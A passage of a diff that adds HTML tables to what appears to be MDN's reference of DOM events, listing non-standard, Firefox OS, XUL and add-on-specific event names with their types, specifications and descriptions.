+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/page-visibility/#sec-visibilitychange-event">Page visibility</a></td>
+   <td>The content of a tab has become visible or has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("volumechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-volumechange">HTML5 media</a></td>
+   <td>The volume has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("waiting")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-waiting">HTML5 media</a></td>
+   <td>Playback has stopped because of a temporary lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{event("wheel")}}{{gecko_minversion_inline("17")}}</td>
+   <td>{{domxref("WheelEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-wheel">DOM L3</a></td>
+   <td>A wheel button of a pointing device is rotated in any direction.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Non-standard_events">Non-standard events</h2>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Event Name</th>
+   <th class="header" style="width: 90px;">Event Type</th>
+   <th class="header" style="width: 100px;">Specification</th>
+   <th class="header">Fired when...</th>
+  </tr>
+  <tr>
+   <td>{{event("afterscriptexecute")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A script has been executed.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforescriptexecute")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A script is about to be executed.</td>
+  </tr>
+  <tr>
+   <td>{{event("cardstatechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.cardState")}} property changes value.</td>
+  </tr>
+  <tr>
+   <td>{{event("change")}}</td>
+   <td>{{domxref("DeviceStorageChangeEvent")}}</td>
+   <td><em>Firefox OS specific</em></td>
+   <td>This event is triggered each time a file is created, modified or deleted on a given storage area.</td>
+  </tr>
+  <tr>
+   <td>{{event("connectionInfoUpdate")}}</td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#176"><em>Firefox OS specific</em></a></td>
+   <td>The informations about the signal strength and the link speed have been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("cfstatechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The call forwarding state changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("datachange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.data")}} object changes values.</td>
+  </tr>
+  <tr>
+   <td>{{event("dataerror")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.data")}} object receive an error from the <abbr title="Radio Interface Layer">RIL</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMouseScroll")}}{{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The wheel button of a pointing device is rotated (detail attribute is a number of lines). (use {{event("wheel")}} instead)</td>
+  </tr>
+  <tr>
+   <td><code>dragdrop</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element is dropped (use {{event("drop")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>dragexit</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A drag operation is being ended(use {{event("dragend")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>draggesture</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The user starts dragging an element or text selection (use {{event("dragstart")}} instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("icccardlockerror")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>the {{domxref("MozMobileConnection.unlockCardLock()")}} or {{domxref("MozMobileConnection.setCardLock()")}} methods fails.</td>
+  </tr>
+  <tr>
+   <td>{{event("iccinfochange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.iccInfo")}} object changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("localized")}}</td>
+   <td></td>
+   <td><em><a href="https://github.com/fabi1cazenave/webL10n">Mozilla Specific</a></em></td>
+   <td>The page has been localized using data-l10n-* attributes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousewheel")}}{{deprecated_inline}}</td>
+   <td></td>
+   <td><a href="http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx"><em>IE invented</em></a></td>
+   <td>The wheel button of a pointing device is rotated.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozAudioAvailable")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>The audio buffer is full and the corresponding raw samples are available.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozBeforeResize"><code>MozBeforeResize</code></a> {{obsolete_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A window is about to be resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserclose")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when window.close() is called within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsercontextmenu")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when a browser {{HTMLElement("iframe")}} try to open a context menu.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsererror")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when an error occured while trying to load a content within a browser iframe</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsericonchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when the favicon of a browser iframe changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserlocationchange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when an browser iframe's location changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserloadend")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when the browser iframe has finished loading all its assets.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserloadstart")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when the browser iframe starts to load a new page.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowseropenwindow")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when {{domxref("window.open()")}} is called within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsersecuritychange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when the SSL state changes within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsershowmodalprompt")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when {{domxref("window.alert","alert()")}}, {{domxref("window.confirm","confirm()")}} or {{domxref("window.prompt","prompt()")}} are called within a browser iframe</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsertitlechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when the document.title changes within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozGamepadButtonDown")}}</td>
+   <td></td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is pressed down.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozGamepadButtonUp")}}</td>
+   <td></td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is released.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozMousePixelScroll")}} {{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The wheel button of a pointing device is rotated (detail attribute is a number of pixels). (use wheel instead)</td>
+  </tr>
+  <tr>
+   <td>{{event("MozOrientation")}} {{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>Fresh data is available from an orientation sensor (see deviceorientation).</td>
+  </tr>
+  <tr>
+   <td>{{event("MozScrolledAreaChanged")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>The document view has been scrolled or resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("moztimechange")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The time of the device has been changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a> {{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is placed on the touch surface (use touchstart instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a> {{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is moved along the touch surface (use touchmove instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a> {{deprecated_inline}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is removed from the touch surface (use touchend instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("alerting")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The correspondent is being alerted (his/her phone is ringing).</td>
+  </tr>
+  <tr>
+   <td>{{event("busy")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The line of the correspondent is busy.</td>
+  </tr>
+  <tr>
+   <td>{{event("callschanged")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been added or removed from the list of current calls.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/DOM/onconnected">onconnected</a> {{event("connected")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been connected.</td>
+  </tr>
+  <tr>
+   <td>{{event("connecting")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to connect.</td>
+  </tr>
+  <tr>
+   <td>{{event("delivered")}}</td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been successfully delivered.</td>
+  </tr>
+  <tr>
+   <td>{{event("dialing")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The number of a correspondent has been dialed.</td>
+  </tr>
+  <tr>
+   <td>{{event("disabled")}}</td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+   <td>Wifi has been disabled on the device.</td>
+  </tr>
+  <tr>
+   <td>{{event("disconnected")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{event("disconnecting")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to disconnect.</td>
+  </tr>
+  <tr>
+   <td>{{event("enabled")}}</td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+   <td>Wifi has been enabled on the device.</td>
+  </tr>
+  <tr>
+   <td>{{event("error_(Telephony)","error")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An error occurred.</td>
+  </tr>
+  <tr>
+   <td>{{event("held")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been held.</td>
+  </tr>
+  <tr>
+   <td>{{event("holding")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to be held.</td>
+  </tr>
+  <tr>
+   <td>{{event("incoming")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is being received.</td>
+  </tr>
+  <tr>
+   <td>{{event("received")}}</td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been received.</td>
+  </tr>
+  <tr>
+   <td>{{event("resuming")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to resume.</td>
+  </tr>
+  <tr>
+   <td>{{event("sent")}}</td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been sent.</td>
+  </tr>
+  <tr>
+   <td>{{event("statechange")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The state of a call has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("statuschange")}}</td>
+   <td></td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#156"><em>Firefox OS specific</em></a></td>
+   <td>The status of the Wifi connection changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("overflow")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td>{{event("smartcard-insert")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been inserted.</td>
+  </tr>
+  <tr>
+   <td>{{event("smartcard-remove")}}</td>
+   <td></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been removed.</td>
+  </tr>
+  <tr>
+   <td>{{event("stkcommand")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Proactive Command is issued from <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{event("stksessionend")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Session is terminated by <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td><code>text</code></td>
+   <td></td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A generic composition event occurred.</td>
+  </tr>
+  <tr>
+   <td>{{event("underflow")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element is no longer overflowed by its content (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td><code>uploadprogress</code> {{deprecated_inline}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>Upload is in progress (see {{event("progress")}}).</td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{event("ussdreceived")}}</p>
+   </td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>A new <abbr title="Unstructured Supplementary Service Data">USSD</abbr> message is received</td>
+  </tr>
+  <tr>
+   <td>{{event("voicechange")}}</td>
+   <td></td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.voice")}} object changes values.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Mozilla-specific_events">Mozilla-specific events</h2>
+
+<div class="note">
+<p><strong>Note:</strong> those events are never exposed to web content and can only be used in chrome content context.</p>
+</div>
+
+<h3 id="XUL_events">XUL events</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Event Name</th>
+   <th class="header" style="width: 90px;">Event Type</th>
+   <th class="header" style="width: 100px;">Specification</th>
+   <th class="header">Fired when...</th>
+  </tr>
+  <tr>
+   <td>{{event("broadcast")}}</td>
+   <td></td>
+   <td><a href="/en-US/docs/XUL/Tutorial/Broadcasters_and_Observers#Broadcast_event">XUL</a></td>
+   <td>An <code>observer</code> noticed a change to the attributes of a watched broadcaster.</td>
+  </tr>
+  <tr>
+   <td>{{event("CheckboxStateChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The state of a <code>checkbox</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/close_event">close</a></td>
+   <td></td>
+   <td>XUL</td>
+   <td>The close button of the window has been clicked.</td>
+  </tr>
+  <tr>
+   <td>{{event("command")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>An element has been activated.</td>
+  </tr>
+  <tr>
+   <td>{{event("commandupdate")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>A command update occurred on a <code>commandset</code> element.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMenuItemActive")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>A menu or menuitem has been hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMenuItemInactive")}}</td>
+   <td></td>
+   <td><em>XUL</em></td>
+   <td>A menu or menuitem is no longer hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{event("popuphidden")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("popuphiding")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to be hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("popupshowing")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to become visible.</td>
+  </tr>
+  <tr>
+   <td>{{event("popupshown")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has become visible.</td>
+  </tr>
+  <tr>
+   <td>{{event("RadioStateChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The state of a <code>radio</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td>{{event("ValueChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The value of an element has changed (a progress bar for example, useful for accessibility).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Add-on-specific_events">Add-on-specific events</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Event Name</th>
+   <th class="header" style="width: 90px;">Event Type</th>
+   <th class="header" style="width: 100px;">Specification</th>
+   <th class="header">Fired when...</th>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to move away from each other.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points move away from each other (after a MozMagnifyGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points moved away from each other (after a sequence of MozMagnifyGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to rotate around a point.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a MozRotateGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a sequence of MozRotateGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points are tapped on the touch surface.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A "press-tap" gesture happened on the touch surface (first finger down, second finger down, second finger up, first finger up).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface to invoke the edge UI (Win8 only).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Content has been repainted.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A popup has been blocked</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window has been created.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window is about to be closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>The title of a window has changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>A link has been added a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>A link has been removed inside from a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been added to a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been removed from a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog is about to open.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog has been closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The content of an element has been auto-completed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The frame has finished loading (but not its dependent resources).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is shown.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/fullscreen">fullscreen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Browser fullscreen mode has been entered or left.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Window has entered/left fullscreen mode, or has been minimized/unminimized.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td><a href="/en-US/docs/DOM/Using_full-screen_mode">DOM fullscreen</a> mode has been entered.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The session store will stop tracking this window.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The session store will stop tracking this tab.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab is about to be restored.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been restored.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window state has switched to "ready".</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A window state has switched to "busy".</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewsearchenabled">tabviewsearchenabled</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The search feature of Panorama has been activated</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewsearchdisabled">tabviewsearchdisabled</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The search feature of Panorama has been deactivated</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewframeinitialized">tabviewframeinitialized</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The frame container of Panorama has been initialized</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewshown">tabviewshown</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The Panorama tab has been shown</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewhidden">tabviewhidden</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The Panorama tab has been hidden</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been opened.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been selected.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been shown.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
